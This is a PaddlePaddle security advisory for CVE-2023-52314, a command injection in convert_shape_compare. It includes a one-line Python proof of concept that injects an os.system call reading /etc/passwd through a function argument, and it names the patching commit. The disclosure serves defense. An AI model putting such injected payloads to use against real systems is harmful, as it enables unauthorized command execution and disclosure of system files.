Back to Paddle

Pdsa 2023 023

security/advisory/pdsa-2023-023.md

3.3.1872 B
Original Source

PDSA-2023-023: Command injection in convert_shape_compare

CVE Number

CVE-2023-52314

Impact

Command injection in convert_shape_compare which could lead to execute arbitrary commands. The PoC is as follows:

python
import paddle

paddle.jit.dy2static.convert_operators.convert_shape_compare('prefix','+ str(__import__("os").system("cat /etc/passwd")) +','1')

Patches

We have patched the issue in commit c3b6414eb313480f1417abe92d410dfe89723097. The fix will be included in PaddlePaddle 2.6.0.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by leeya_bug.